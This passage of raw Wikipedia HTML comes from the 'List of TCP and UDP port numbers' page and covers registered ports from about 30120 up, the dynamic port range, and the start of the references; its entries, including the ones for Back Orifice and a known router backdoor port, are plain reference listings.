class=\"table-no\">No</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/TeamSpeak\" title=\"TeamSpeak\">TeamSpeak</a> 3 File Transfer<sup id=\"cite_ref-hub.docker.com_341-2\" class=\"reference\"><a href=\"#cite_note-hub.docker.com-341\">&#91;339&#93;</a></sup>\n</td></tr>\n<tr>\n<td>30120</td>\n<td colspan=\"2\" style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><i><a href=\"/w/index.php?title=Fivem&amp;action=edit&amp;redlink=1\" class=\"new\" title=\"Fivem (page does not exist)\">Fivem</a></i> (Default Port) GTA V multiplayer<sup id=\"cite_ref-389\" class=\"reference\"><a href=\"#cite_note-389\">&#91;387&#93;</a></sup><sup id=\"cite_ref-Protocol_-_wiki.vg_375-1\" class=\"reference\"><a href=\"#cite_note-Protocol_-_wiki.vg-375\">&#91;373&#93;</a></sup>\n</td></tr>\n<tr>\n<td>30564</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Multiplicity_(software)\" title=\"Multiplicity (software)\">Multiplicity</a>: keyboard/mouse/clipboard sharing software<sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (October 2016)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td rowspan=\"2\"><a href=\"/wiki/Leet\" title=\"Leet\">31337</a>\n</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Back_Orifice\" title=\"Back Orifice\">Back Orifice</a> and <a href=\"/wiki/Back_Orifice_2000\" title=\"Back Orifice 2000\">Back Orifice 2000</a> remote administration tools<sup id=\"cite_ref-390\" class=\"reference\"><a href=\"#cite_note-390\">&#91;388&#93;</a></sup><sup id=\"cite_ref-391\" class=\"reference\"><a href=\"#cite_note-391\">&#91;389&#93;</a></sup>\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Nmap\" title=\"Nmap\">ncat</a>, a <a href=\"/wiki/Netcat\" title=\"Netcat\">netcat</a> alternative<sup id=\"cite_ref-392\" class=\"reference\"><a href=\"#cite_note-392\">&#91;390&#93;</a></sup>\n</td></tr>\n<tr>\n<td>31416</td>\n<td colspan=\"2\" style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/BOINC\" class=\"mw-redirect\" title=\"BOINC\">BOINC</a> <a href=\"/wiki/Remote_procedure_call\" title=\"Remote procedure call\">RPC</a><sup id=\"cite_ref-man-1-boinc-die.net_393-0\" class=\"reference\"><a href=\"#cite_note-man-1-boinc-die.net-393\">&#91;391&#93;</a></sup>\n</td></tr>\n<tr>\n<td>31438</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Rocket_U2\" title=\"Rocket U2\">Rocket U2</a><sup id=\"cite_ref-rocket-universe-installguide-v1123_394-0\" class=\"reference\"><a href=\"#cite_note-rocket-universe-installguide-v1123-394\">&#91;392&#93;</a></sup>\n</td></tr>\n<tr>\n<td>31457</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><i><a href=\"/wiki/TetriNET\" title=\"TetriNET\">TetriNET</a></i>\n</td></tr>\n<tr>\n<td>32137</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Immunet\" title=\"Immunet\">Immunet Protect</a> (UDP in version 2.0,<sup id=\"cite_ref-immunet-support-tiki-4_395-0\" class=\"reference\"><a href=\"#cite_note-immunet-support-tiki-4-395\">&#91;393&#93;</a></sup> TCP since version 3.0<sup id=\"cite_ref-396\" class=\"reference\"><a href=\"#cite_note-396\">&#91;394&#93;</a></sup>)\n</td></tr>\n<tr>\n<td>32400</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Plex_Media_Server\" class=\"mw-redirect\" title=\"Plex Media Server\">Plex Media Server</a><sup id=\"cite_ref-plex-kb-201543147_397-0\" class=\"reference\"><a href=\"#cite_note-plex-kb-201543147-397\">&#91;395&#93;</a></sup>\n</td></tr>\n<tr>\n<td>32764</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>A <a href=\"/wiki/Backdoor_(computing)\" title=\"Backdoor (computing)\">backdoor</a> found on certain Linksys, Netgear and other wireless DSL modems/combination routers<sup id=\"cite_ref-ars-security-2014-01-backdoor-dsl_398-0\" class=\"reference\"><a href=\"#cite_note-ars-security-2014-01-backdoor-dsl-398\">&#91;396&#93;</a></sup>\n</td></tr>\n<tr>\n<td>32887</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><i><a href=\"/wiki/Ace_of_Spades_(video_game)\" title=\"Ace of Spades (video game)\">Ace of Spades</a></i>, a multiplayer <a href=\"/wiki/First-person_shooter\" title=\"First-person shooter\">FPS</a> video game<sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (October 2016)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>32976</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/LogMeIn_Hamachi\" title=\"LogMeIn Hamachi\">LogMeIn Hamachi</a>, a <a href=\"/wiki/Virtual_private_network\" title=\"Virtual private network\">VPN</a> application; also TCP port 12975 and <a href=\"/wiki/Secure_Sockets_Layer\" class=\"mw-redirect\" title=\"Secure Sockets Layer\">SSL</a> (TCP 443).<sup id=\"cite_ref-logmein-kb-ports-protocols_399-0\" class=\"reference\"><a href=\"#cite_note-logmein-kb-ports-protocols-399\">&#91;397&#93;</a></sup>\n</td></tr>\n<tr>\n<td>33434</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Traceroute\" title=\"Traceroute\">traceroute</a>\n</td></tr>\n<tr>\n<td>33848</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Jenkins_(software)\" title=\"Jenkins (software)\">Jenkins</a>, a <a href=\"/wiki/Continuous_integration\" title=\"Continuous integration\">continuous integration</a> (<abbr>CI</abbr>) tool<sup id=\"cite_ref-jenkins-wiki-remote-api_400-0\" class=\"reference\"><a href=\"#cite_note-jenkins-wiki-remote-api-400\">&#91;398&#93;</a></sup><sup id=\"cite_ref-jenkins-wiki-auto-discovering_401-0\" class=\"reference\"><a href=\"#cite_note-jenkins-wiki-auto-discovering-401\">&#91;399&#93;</a></sup>\n</td></tr>\n<tr>\n<td>34000</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><i><a href=\"/wiki/Infestation:_Survivor_Stories\" title=\"Infestation: Survivor Stories\">Infestation: Survivor Stories</a></i> (formerly known as <i>The War Z</i>), a multiplayer zombie video game<sup class=\"noprint Inline-Template\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Verifiability\" title=\"Wikipedia:Verifiability\"><span title=\"The material near this tag needs to be fact-checked with the cited source(s). (October 2016)\">verification needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>34197</td>\n<td style=\"background:#FFC7C7;vertical-align:middle;text-align:center;\" class=\"table-no\">No</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><i><a href=\"/wiki/Factorio\" title=\"Factorio\">Factorio</a></i>, a multiplayer survival and factory-building game<sup id=\"cite_ref-402\" class=\"reference\"><a href=\"#cite_note-402\">&#91;400&#93;</a></sup>\n</td></tr>\n<tr>\n<td>35357</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/OpenStack#Identity_(Keystone)\" title=\"OpenStack\">OpenStack Identity</a> (Keystone) administration<sup id=\"cite_ref-openstack-docs-config-appendix-b_403-0\" class=\"reference\"><a href=\"#cite_note-openstack-docs-config-appendix-b-403\">&#91;401&#93;</a></sup><sup class=\"noprint Inline-Template\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Verifiability#Self-published_sources\" title=\"Wikipedia:Verifiability\"><span title=\"The material near this tag may rely on a self-published source. (October 2016)\">self-published source?</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>36330</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Folding@home\" title=\"Folding@home\">Folding@home</a> Control Port\n</td></tr>\n<tr>\n<td>37008</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/TZSP\" title=\"TZSP\">TZSP</a> intrusion detection<sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (August 2017)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>40000</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/SafetyNET_p\" title=\"SafetyNET p\">SafetyNET p</a> – a real-time <a href=\"/wiki/Industrial_Ethernet\" title=\"Industrial Ethernet\">Industrial Ethernet</a> protocol\n</td></tr>\n<tr>\n<td>41121</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Tentacle Server<sup id=\"cite_ref-IANA_41121_404-0\" class=\"reference\"><a href=\"#cite_note-IANA_41121-404\">&#91;402&#93;</a></sup> - <a href=\"/wiki/Pandora_FMS\" title=\"Pandora FMS\">Pandora FMS</a>\n</td></tr>\n<tr>\n<td>41794</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Crestron Control Port<sup id=\"cite_ref-IANA_41794_405-0\" class=\"reference\"><a href=\"#cite_note-IANA_41794-405\">&#91;403&#93;</a></sup> - <a href=\"/wiki/Crestron_Electronics\" title=\"Crestron Electronics\">Crestron Electronics</a>\n</td></tr>\n<tr>\n<td>41795</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Crestron Terminal Port<sup id=\"cite_ref-IANA_41795_406-0\" class=\"reference\"><a href=\"#cite_note-IANA_41795-406\">&#91;404&#93;</a></sup> - <a href=\"/wiki/Crestron_Electronics\" title=\"Crestron Electronics\">Crestron Electronics</a>\n</td></tr>\n<tr>\n<td>41796</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#FFC7C7;vertical-align:middle;text-align:center;\" class=\"table-no\">No</td>\n<td></td>\n<td>\n</td>\n<td>Crestron Secure Control Port<sup id=\"cite_ref-IANA_41796_407-0\" class=\"reference\"><a href=\"#cite_note-IANA_41796-407\">&#91;405&#93;</a></sup> - <a href=\"/wiki/Crestron_Electronics\" title=\"Crestron Electronics\">Crestron Electronics</a>\n</td></tr>\n<tr>\n<td>41797</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#FFC7C7;vertical-align:middle;text-align:center;\" class=\"table-no\">No</td>\n<td></td>\n<td>\n</td>\n<td>Crestron Secure Terminal Port<sup id=\"cite_ref-IANA_41797_408-0\" class=\"reference\"><a href=\"#cite_note-IANA_41797-408\">&#91;406&#93;</a></sup> - <a href=\"/wiki/Crestron_Electronics\" title=\"Crestron Electronics\">Crestron Electronics</a>\n</td></tr>\n<tr>\n<td>42081-42090</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes\n</td>\n<td>\n</td>\n<td>\n</td>\n<td>Zippin - <a rel=\"nofollow\" class=\"external text\" href=\"https://getzippin.com\">Zippin Stores</a>\n</td></tr>\n<tr>\n<td>42590-42595</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes\n</td>\n<td>\n</td>\n<td>\n</td>\n<td>Glue - <a rel=\"nofollow\" class=\"external text\" href=\"https://makepro-x.com\">MakePro X</a>\n</td></tr>\n<tr>\n<td>42806\n</td>\n<td>\n</td>\n<td>\n</td>\n<td>\n</td>\n<td>\n</td>\n<td><a href=\"/wiki/Discord_(software)\" class=\"mw-redirect\" title=\"Discord (software)\">Discord</a><sup id=\"cite_ref-409\" class=\"reference\"><a href=\"#cite_note-409\">&#91;407&#93;</a></sup>\n</td></tr>\n<tr>\n<td>42999\n</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes\n</td>\n<td>\n</td>\n<td>\n</td>\n<td>\n</td>\n<td><a rel=\"nofollow\" class=\"external text\" href=\"https://curiosity.ai/\">Curiosity</a> <sup id=\"cite_ref-IANA_42999_410-0\" class=\"reference\"><a href=\"#cite_note-IANA_42999-410\">&#91;408&#93;</a></sup>\n</td></tr>\n<tr>\n<td>43110</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/ZeroNet\" title=\"ZeroNet\">ZeroNet</a> web UI default port <sup id=\"cite_ref-411\" class=\"reference\"><a href=\"#cite_note-411\">&#91;409&#93;</a></sup>\n</td></tr>\n<tr>\n<td>43594–43595</td>\n<td colspan=\"2\" style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><i><a href=\"/wiki/RuneScape\" title=\"RuneScape\">RuneScape</a></i><sup id=\"cite_ref-rs-support-205845152_412-0\" class=\"reference\"><a href=\"#cite_note-rs-support-205845152-412\">&#91;410&#93;</a></sup>\n</td></tr>\n<tr>\n<td>44405</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><i><a href=\"/wiki/Mu_Online\" title=\"Mu Online\">Mu Online</a></i> Connect Server<sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (August 2013)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>44818</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/EtherNet/IP\" title=\"EtherNet/IP\">EtherNet/IP</a> explicit messaging\n</td></tr>\n<tr>\n<td>47808–47823</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/BACnet\" title=\"BACnet\">BACnet</a> Building Automation and Control Networks (47808<sub>10</sub> = BAC0<sub>16</sub> to 47823<sub>10</sub> = BACF<sub>16</sub>)\n</td></tr>\n<tr>\n<td>48556</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/w/index.php?title=Drive.web&amp;action=edit&amp;redlink=1\" class=\"new\" title=\"Drive.web (page does not exist)\">drive.web</a> AC/DC Drive Automation and Control Networks <sup id=\"cite_ref-413\" class=\"reference\"><a href=\"#cite_note-413\">&#91;411&#93;</a></sup>\n</td></tr>\n<tr>\n<td>49151</td>\n<td data-sort-value=\"\" style=\"background: #ececec; color: #2C2C2C; vertical-align: middle; text-align: center;\" class=\"table-na\">Reserved</td>\n<td data-sort-value=\"\" style=\"background: #ececec; color: #2C2C2C; vertical-align: middle; text-align: center;\" class=\"table-na\">Reserved</td>\n<td></td>\n<td>\n</td>\n<td>Reserved<sup id=\"cite_ref-IANA_2-16\" class=\"reference\"><a href=\"#cite_note-IANA-2\">&#91;2&#93;</a></sup>\n</td></tr></tbody></table>\n<h2><span id=\"Dynamic.2C_private_or_ephemeral_ports\"></span><span class=\"mw-headline\" id=\"Dynamic,_private_or_ephemeral_ports\">Dynamic, private or ephemeral ports</span><span class=\"mw-editsection\"><span class=\"mw-editsection-bracket\">[</span><a href=\"/w/index.php?title=List_of_TCP_and_UDP_port_numbers&amp;action=edit&amp;section=4\" title=\"Edit section: Dynamic, private or ephemeral ports\">edit</a><span class=\"mw-editsection-bracket\">]</span></span></h2>\n<link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1033289096\"/><div role=\"note\" class=\"hatnote navigation-not-searchable\">See also: <a href=\"/wiki/Ephemeral_port\" title=\"Ephemeral port\">Ephemeral port</a></div>\n<p>The range 49152–65535 (2<sup>15</sup> + 2<sup>14</sup> to 2<sup>16</sup> − 1) contains dynamic or private ports that cannot be registered with IANA.<sup id=\"cite_ref-414\" class=\"reference\"><a href=\"#cite_note-414\">&#91;412&#93;</a></sup> This range is used for private or customized services, for temporary purposes, and for automatic allocation of <a href=\"/wiki/Ephemeral_port\" title=\"Ephemeral port\">ephemeral ports</a>.\n</p>\n<table class=\"wikitable sortable collapsible\">\n<caption>Dynamic, private or ephemeral ports\n</caption>\n<tbody><tr>\n<th scope=\"col\">Port\n</th>\n<th scope=\"col\">TCP\n</th>\n<th scope=\"col\">UDP\n</th>\n<th scope=\"col\">SCTP\n</th>\n<th scope=\"col\">DCCP\n</th>\n<th scope=\"col\" class=\"unsortable\">Description\n</th></tr>\n<tr>\n<td>49152–65535</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background:#FFC7C7;vertical-align:middle;text-align:center;\" class=\"table-no\">No</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Certificate_Management_over_CMS\" title=\"Certificate Management over CMS\">Certificate Management over CMS</a><sup id=\"cite_ref-rfc5273_415-0\" class=\"reference\"><a href=\"#cite_note-rfc5273-415\">&#91;413&#93;</a></sup>\n</td></tr>\n<tr>\n<td>49160</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Palo Alto Networks' Panorama.<sup id=\"cite_ref-EDU-120_10_199-2\" class=\"reference\"><a href=\"#cite_note-EDU-120_10-199\">&#91;197&#93;</a></sup>\n</td></tr>\n<tr>\n<td>51820</td>\n<td style=\"background:#FFC7C7;vertical-align:middle;text-align:center;\" class=\"table-no\">No</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/WireGuard\" title=\"WireGuard\">WireGuard</a> protocol<sup id=\"cite_ref-416\" class=\"reference\"><a href=\"#cite_note-416\">&#91;414&#93;</a></sup>\n</td></tr>\n<tr>\n<td>60000–61000</td>\n<td style=\"background:#FFC7C7;vertical-align:middle;text-align:center;\" class=\"table-no\">No</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Range from which <a href=\"/wiki/Mosh_(software)\" title=\"Mosh (software)\">Mosh</a> – a remote-terminal application similar to <a href=\"/wiki/Secure_shell\" class=\"mw-redirect\" title=\"Secure shell\">SSH</a> – typically assigns ports for ongoing sessions between Mosh servers and Mosh clients.<sup id=\"cite_ref-417\" class=\"reference\"><a href=\"#cite_note-417\">&#91;415&#93;</a></sup>\n</td></tr>\n<tr>\n<td>64738</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Mumble_(software)\" title=\"Mumble (software)\">Mumble</a><sup id=\"cite_ref-murmurconfig73a0b2f_418-0\" class=\"reference\"><a href=\"#cite_note-murmurconfig73a0b2f-418\">&#91;416&#93;</a></sup>\n</td></tr></tbody></table>\n<h2><span class=\"mw-headline\" id=\"Note\">Note</span><span class=\"mw-editsection\"><span class=\"mw-editsection-bracket\">[</span><a href=\"/w/index.php?title=List_of_TCP_and_UDP_port_numbers&amp;action=edit&amp;section=5\" title=\"Edit section: Note\">edit</a><span class=\"mw-editsection-bracket\">]</span></span></h2>\n<style data-mw-deduplicate=\"TemplateStyles:r1011085734\">.mw-parser-output .reflist{font-size:90%;margin-bottom:0.5em;list-style-type:decimal}.mw-parser-output .reflist .references{font-size:100%;margin-bottom:0;list-style-type:inherit}.mw-parser-output .reflist-columns-2{column-width:30em}.mw-parser-output .reflist-columns-3{column-width:25em}.mw-parser-output .reflist-columns{margin-top:0.3em}.mw-parser-output .reflist-columns ol{margin-top:0}.mw-parser-output .reflist-columns li{page-break-inside:avoid;break-inside:avoid-column}.mw-parser-output .reflist-upper-alpha{list-style-type:upper-alpha}.mw-parser-output .reflist-upper-roman{list-style-type:upper-roman}.mw-parser-output .reflist-lower-alpha{list-style-type:lower-alpha}.mw-parser-output .reflist-lower-greek{list-style-type:lower-greek}.mw-parser-output .reflist-lower-roman{list-style-type:lower-roman}</style><div class=\"reflist\">\n<div class=\"mw-references-wrap\"><ol class=\"references\">\n<li id=\"cite_note-tcp465-86\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-tcp465_86-0\">^</a></b></span> <span class=\"reference-text\">TCP port 465 was originally assigned to allow the use of <a href=\"/wiki/Simple_Mail_Transfer_Protocol\" title=\"Simple Mail Transfer Protocol\">SMTP</a> over <a href=\"/wiki/Transport_Layer_Security\" title=\"Transport Layer Security\">SSL</a> (<a href=\"/wiki/SMTPS\" title=\"SMTPS\">SMTPS</a>), but practical concerns meant that it was left unused and according to the registration rules at that time was subsequently revoked and eventually re-assigned for use by <a href=\"/wiki/Cisco\" title=\"Cisco\">Cisco</a>'s URD protocol. Subsequently, port 587 was assigned as the SMTP submission port, but was initially in <a href=\"/wiki/Plaintext\" title=\"Plaintext\">plaintext</a>, with encryption eventually provided years later by the <a href=\"/wiki/STARTTLS\" class=\"mw-redirect\" title=\"STARTTLS\">STARTTLS</a> extension. At the same time, the subsequent adoption of the usage of 465 as an SSL-enabled SMTP submission port, even though that the original registration did not envision that usage and despite the fact that it was registered to another service has endured. Subsequently, RFC 8314, in a special exemption to the normal assignment process as defined by RFC 6335, has acknowledged the <i>de-facto</i> situation and has designated SMTP over TLS as an 'alternate usage assignment'.</span>\n</li>\n<li id=\"cite_note-123\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-123\">^</a></b></span> <span class=\"reference-text\">Deployment typically occurs only directly over UDP, but other underlying protocol layers which meet the requirements described in the specification are possible.</span>\n</li>\n</ol></div></div>\n<h2><span class=\"mw-headline\" id=\"See_also\">See also</span><span class=\"mw-editsection\"><span class=\"mw-editsection-bracket\">[</span><a href=\"/w/index.php?title=List_of_TCP_and_UDP_port_numbers&amp;action=edit&amp;section=6\" title=\"Edit section: See also\">edit</a><span class=\"mw-editsection-bracket\">]</span></span></h2>\n<ul><li><a href=\"/wiki/Port_(computer_networking)\" title=\"Port (computer networking)\">Port (computer networking)</a></li>\n<li><a href=\"/wiki/Internet_protocol_suite\" title=\"Internet protocol suite\">Internet protocol suite</a></li>\n<li><a href=\"/wiki/List_of_IP_protocol_numbers\" title=\"List of IP protocol numbers\">List of IP numbers</a></li>\n<li><a href=\"/wiki/Lists_of_network_protocols\" title=\"Lists of network protocols\">Lists of network protocols</a></li>\n<li><a href=\"/wiki/Comparison_of_file_transfer_protocols\" title=\"Comparison of file transfer protocols\">Comparison of file transfer protocols</a></li></ul>\n<p><sup id=\"cite_ref-419\" class=\"reference\"><a href=\"#cite_note-419\">&#91;417&#93;</a></sup>\n</p>\n<h2><span class=\"mw-headline\" id=\"References_and_notes\">References and notes</span><span class=\"mw-editsection\"><span class=\"mw-editsection-bracket\">[</span><a href=\"/w/index.php?title=List_of_TCP_and_UDP_port_numbers&amp;action=edit&amp;section=7\" title=\"Edit section: References and notes\">edit</a><span class=\"mw-editsection-bracket\">]</span></span></h2>\n<link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1011085734\"/><div class=\"reflist reflist-columns references-column-width\" style=\"column-width: 30em;\">\n<ol class=\"references\">\n<li id=\"cite_note-1\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-1\">^</a></b></span> <span class=\"reference-text\"><style data-mw-deduplicate=\"TemplateStyles:r1133582631\">.mw-parser-output cite.citation{font-style:inherit;word-wrap:break-word}.mw-parser-output .citation q{quotes:\"\\\"\"\"\\\"\"\"'\"\"'\"}.mw-parser-output .citation:target{background-color:rgba(0,127,255,0.133)}.mw-parser-output .id-lock-free a,.mw-parser-output .citation .cs1-lock-free a{background:url(\"//upload.wikimedia.org/wikipedia/commons/6/65/Lock-green.svg\")right 0.1em center/9px no-repeat}.mw-parser-output .id-lock-limited a,.mw-parser-output .id-lock-registration a,.mw-parser-output .citation .cs1-lock-limited a,.mw-parser-output .citation .cs1-lock-registration a{background:url(\"//upload.wikimedia.org/wikipedia/commons/d/d6/Lock-gray-alt-2.svg\")right 0.1em center/9px no-repeat}.mw-parser-output .id-lock-subscription a,.mw-parser-output .citation .cs1-lock-subscription a{background:url(\"//upload.wikimedia.org/wikipedia/commons/a/aa/Lock-red-alt-2.svg\")right 0.1em center/9px no-repeat}.mw-parser-output .cs1-ws-icon a{background:url(\"//upload.wikimedia.org/wikipedia/commons/4/4c/Wikisource-logo.svg\")right 0.1em center/12px no-repeat}.mw-parser-output .cs1-code{color:inherit;background:inherit;border:none;padding:inherit}.mw-parser-output .cs1-hidden-error{display:none;color:#d33}.mw-parser-output .cs1-visible-error{color:#d33}.mw-parser-output .cs1-maint{display:none;color:#3a3;margin-left:0.3em}.mw-parser-output .cs1-format{font-size:95%}.mw-parser-output .cs1-kern-left{padding-left:0.2em}.mw-parser-output .cs1-kern-right{padding-right:0.2em}.mw-parser-output .citation .mw-selflink{font-weight:inherit}</style><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.txt\">\"Service Name and Transport Protocol Port Number Registry\"</a>. <i><a href=\"/wiki/Internet_Assigned_Numbers_Authority\" title=\"Internet Assigned Numbers Authority\">Internet Assigned Numbers Authority</a></i><span 